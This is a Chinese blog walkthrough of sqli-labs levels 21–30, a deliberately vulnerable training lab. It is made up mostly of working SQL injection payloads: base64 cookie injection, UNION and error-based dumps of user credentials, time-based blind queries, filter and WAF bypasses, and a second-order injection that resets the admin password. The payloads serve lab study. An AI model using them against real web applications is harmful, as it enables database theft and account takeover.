sqli-labs21-30


sqli-lab通关(21-30)

( 基于错误的复杂的字符型Cookie注入)

base64编码,单引号,报错型,cookie注入

登录如下

image-20210425203709195

发现此关同20关差不多,只不过cookie中的uname经过base64编码了,所以我们猜测本题在cookie出加密了字符串,所以我们上传的payload需要经过base64编码

我们抓包放到reperter,我们在cookie处进行注入,接下里构造payload

admin' and 1=1 # base64编码后
YWRtaW4nIGFuZCAxPTEgLS0r

看此红圈提示,我们修改我们的payload,我们需要构造’)闭合

admin') and 1=1 # base64编码后
YWRtaW4nKSBhbmQgMT0xICM=

image-20210425210012362

猜字段:经过尝试发现为4时报错,说明为3

admin') order by 3 #
YWRtaW4nKSBvcmRlciBieSAzICM=

image-20210425211032665

爆库:使用报错型(显示查询结果)&联合注入

-admin') union select 1,2,database() #
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpICM=

image-20210425211153505

库名为:security

爆表名:

-admin') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' #
编码后
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknICM=

image-20210425211508900

爆列名:我们爆users

image-20210425211805656

爆username&password:

-admin') union select 1,username,password from security.users #

LWFkbWluJykgdW5pb24gc2VsZWN0IDEsdXNlcm5hbWUscGFzc3dvcmQgZnJvbSBzZWN1cml0eS51c2VycyAj

image-20210425212012265

发现用户名为Dumb 密码为Dumb

base64编码,双引号,报错型,cookie注入

输入单引号报错,闭合仍报错;输入双引号报错,闭合不报错

我们只需将21关payload单引号改为双引号并把闭合的)去掉即可

Less-23 GET - Error based - strip comments (基于错误的,过滤注释的GET型)

报错型,过滤了注释符

根据提示我们输入id

image-20210426101032452

输入双引号正常,输入单引号报错,说明是单引号;and 1=1 与and 1=2 相同,说明不是数字型;’ and ‘1’=’1 与 ‘ and ‘1’=’2不同说明是字符型;

?id=1' and '1'='1

image-20210426101854811

基于错误的、单引号、字符型,联合注入

猜字段:

?id=-1'  union select 1,2,3 '

image-20210426102253271

爆库:

?id=-1'  union select 1,2,database() '

image-20210426102341928

爆表:

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' '

image-20210426102703404

爆列:

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' '

image-20210426102932167

爆值:

?id=' union select 1,group_concat(username),group_concat(password) from security.users where  '1'='1

image-20210426103436028

Less - 24 Second Degree Injections Real treat -Store Injections (二次注入)

查看源码:

发现创建账户的username和pass都被mysql_escape_string函数转义了

image-20210426104935713

但是我们发现修改密码的username未被转义

image-20210426105041312

我们的思路是先注册一个admin’#的账号,虽然被转义了,但是还是存到数据库中了,我们登陆此账户,修改密码,此时修改的就是admin管理员的密码。

Sql语句变为UPDATE users SET passwd=”New_Pass” WHERE username =’ admin’ # ‘ AND password=’

也就是执行了UPDATE users SET passwd=”New_Pass” WHERE username =’ admin’

注册号admin’#账号登录:image-20210426105437714

此时修改的就是admin的密码,我们修改密码为111111,显示如下image-20210426105618936

接下来登录admin 密码为111111image-20210426105655201

管理员账号成功登录了

Less-25 Trick with OR & AND (过滤了or和and)

or&and欺骗 ,提示说所有的or&and都属于我们,我们猜测他们被过滤了

我们尝试后发现输入or或and果然未发生变化,接下来我们的思路是想办法绕过,

我们尝试双写发现绕过了,我们这里猜测他是把or&and替换为空image-20210426111404625

查看源码发现没错image-20210426111718987

单引号,基于错误的,union注入

这里information和password同样双写or即可

Less-25a Trick with OR & AND Blind (过滤了or和and的盲注)

or&and欺骗&盲注,那么盲注怎么判断过滤了or&and呢?我们直接在id前加and或orimage-20210426212326054

发现跟?id=1相比无变化,得出被过滤的结论,同上关一样,我们可以通过双写绕过

方法一:时间延迟型盲注

测试,我们发现存在明显延迟

?id=1 anandd sleep(5)

image-20210426214227662

爆库: 经过长时间努力终于爆出库名security

?id=1 anandd if(left(database (),1)='s',sleep(5),1)

image-20210426214557861

爆表:注意双写anandd, oorr,经过很长时间爆出第四个表为users

?id=1 anandd if(left((select table_name from infoorrmation_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(5),1) #

image-20210426215435421

爆列:我们用正常的始见延迟行语句没出来,但是回显处值了,既然有回显我们用基于错误的联合注入(就离谱,说好的盲注呢?)

-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users'#

image-20210426220956596

爆值:

username
?id=1 anandd if(left((select username from users limit 0,1),4)='dumb' ,sleep(5),1)
password
?id=1 anandd if(left((select passwoorrd from users limit 0,1),4)='dumb' ,sleep(5),1)

image-20210426221704656

Less-26(failed) Trick with comments and space (过滤了注释和空格的注入)

评论欺骗

尝试后发现单引号报错,双引号正常,所以这里应该是单引号闭合,经过尝试发现过滤了很多东西,我们看下源码

function blacklist($id)
{
	$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)
	$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)
	$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
	$id= preg_replace('/[--]/',"", $id);		//Strip out --
	$id= preg_replace('/[#]/',"", $id);			//Strip out #
	$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces
	$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashes
	return $id;
}

发现此函数过滤了一堆,空格、or、and、#、/、\、单行注释、多行注释;

and&or我们可以双写绕过,空格怎么绕呢?

我们熟知的有:
/**/ () + ` \t
可是都不行,他的过滤很多 。 我们尝试url编码绕过:

%09 Tab键(水平)
%0a 新建一行
%0c 新的一页
%0d return 键
%0b Tab键(垂直)
%a0 空格
() 绕过

对于注释和结尾字符的我们此处只能利用构造一个 ‘来闭合后面到 ‘ ;

报错注入、()代替空格、anandd’1’=’1或%26%26and’1’=’1代替注释、双写绕过and&or

爆库:

?id=1%27anandd(updatexml(1,concat(0x7e,database(),0x7e),1))%26%26and'1'='1

image-20210427202042604

不知道为啥空格没法绕过,注不下去了

less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us(过滤了空格和注释的盲注)

此关与上关的区别在于sql语句多了个),我们需要闭合)

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

并且发现他关闭了详细的报错,我们需要盲注

跟上关一样,空格还是没法绕过。。。

加了)发现没报错,说明原来的语句确实有括号

?id=1)' aandnd'1'='1

less 27 GET - Error Based- All your UNION & SELECT belong to us (过滤了union和select的)

查看源码:

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

比上关多过滤了select和union

报错注入

爆库名:

?id=1'and%0Aextractvalue(1,concat(0x7e,(sELEct%0Adatabase())))and'1'='1

爆表名:

?id=1'%0Aand%0Aextractvalue(1,concat(0x7e,(sELEct%0Agroup_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database())))and'1'='1

image-20210427213707314

爆列名:

?id=1%27%0Aand%0Aextractvalue(1,concat(0x7e,(sELEct%0Agroup_concat(column_name)%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_name='users')))and%271%27=%271

image-20210427214117163

爆值:

?id=1%27%0Aand%0Aextractvalue(1,concat(0x7e,(sELEct%0Agroup_concat(username,0x3a,password)%0Afrom%0Asecurity.users)))and%271%27=%271

image-20210427214344217

less 27a GET - Blind Based- All your UNION & SELECT belong to us(过滤了union和select的盲注)

上关的盲注版,双引号闭合

单引号没报错,双引号报错,所以是双引号闭合

?id=1" and"1"="1

image-20210427215127692

关闭了详细的报错提示,需要盲注;使用布尔盲注,正确会回显,错误不会回显

爆库长:

?id=1"%0aand(length(database())=8)and"1"="1

image-20210427215606240

爆库名:

?id=1"%0aand(left((sELEct%0adatabase() ),8)='security')and"1"="1

image-20210427215904426

爆表名:

?id=1"%0aand(left((sELEct%0atable_name%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0alimit%0a3,1 ),5)='users')and"1"="1

image-20210427220242953

忽然想到他是有会先啊,还盲注啥啊,直接联合注入他不香吗?

爆列名:基于错误才会回显

?id=1"%0aAnd%0a(length(database())>8)%0auNion%0asELect%0a1,(group_concat(column_name)),3%0afrom%0ainformation_schema.columns%0awhere%0atable_name='users'and"1"="1

image-20210427221159910

爆值:这里就不能用and了,因为语法select xxx from xxx where xxx

?id=1"%0AAnd%0A(length(database())>8)%0AUNion%0ASElect%0A(1),(group_concat(username)),(3)from%0Asecurity.users%0Awhere"1"="1

image-20210427221802151

less 28 GET - Error Based- All your UNION & SELECT belong to us String-Single quote with parenthesis(基于错误的,有括号的单引号字符型,过滤了union和select等的注入)

我们输入单引号报错,双引号不报错,说明时单引号闭合;

;%00注释正确,说明确实是单引号闭合;

加括号无报错,说明原语句有括号

?id=1)' and'1'='1

用%0a绕过空格过滤,使用双写绕过union&select,基于错误回显,联合注入

爆库:

?id=.1') %0aunion%0aunion%0aselect%0aselect%0a1,2,database()%0a;%00

image-20210428104747300

还是正常步骤,不在赘述

less 28a GET - Bind Based- All your UNION & SELECT belong to us String-Single quote with parenthesis(基于盲注的,有括号的单引号字符型,过滤了union和select等的注入)

说是盲注,但是还是有回显,那我们直接基于错误联合注入就行

?id=1') ;%00

单引号)闭合,;%00注释

爆库:

?id=.1')union%0aunion%0aselect%0aselect%0a1,2,database();%00

image-20210428105638648

还是正常步骤,不在赘述

Less-29 基于WAF的一个错误

HTTP参数污染(HTTP Parameter Pollution) 攻击者通过在HTTP请求中插入特定的参数来发起攻击,如果Web应用中存在这样的漏洞,可以被攻击者利用来进行客户端或者服务器端的攻击

image-20210428110722380

image-20210428110739205

waf服务器(tomcat)解析重复参数里面的前者,而真正的web服务器(Apache)只解析重复参数里面的后者,我们可以传入两个id参数,前者合法而后者为我们想注入的内容

单引号闭合,–+注释,基于错误的联合注入

爆库:

?id=1&id=-1' union select 1,2,database()--+

image-20210428111223771

正常步骤,不在赘述

Less-30 Get-Blind Havaing with WAF

单引号正常,双引号报错,–+注释,基于错误的联合注入

同上关,只不过换成了双引号”闭合


文章作者: 晓莎K
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 晓莎K !
评论
  目录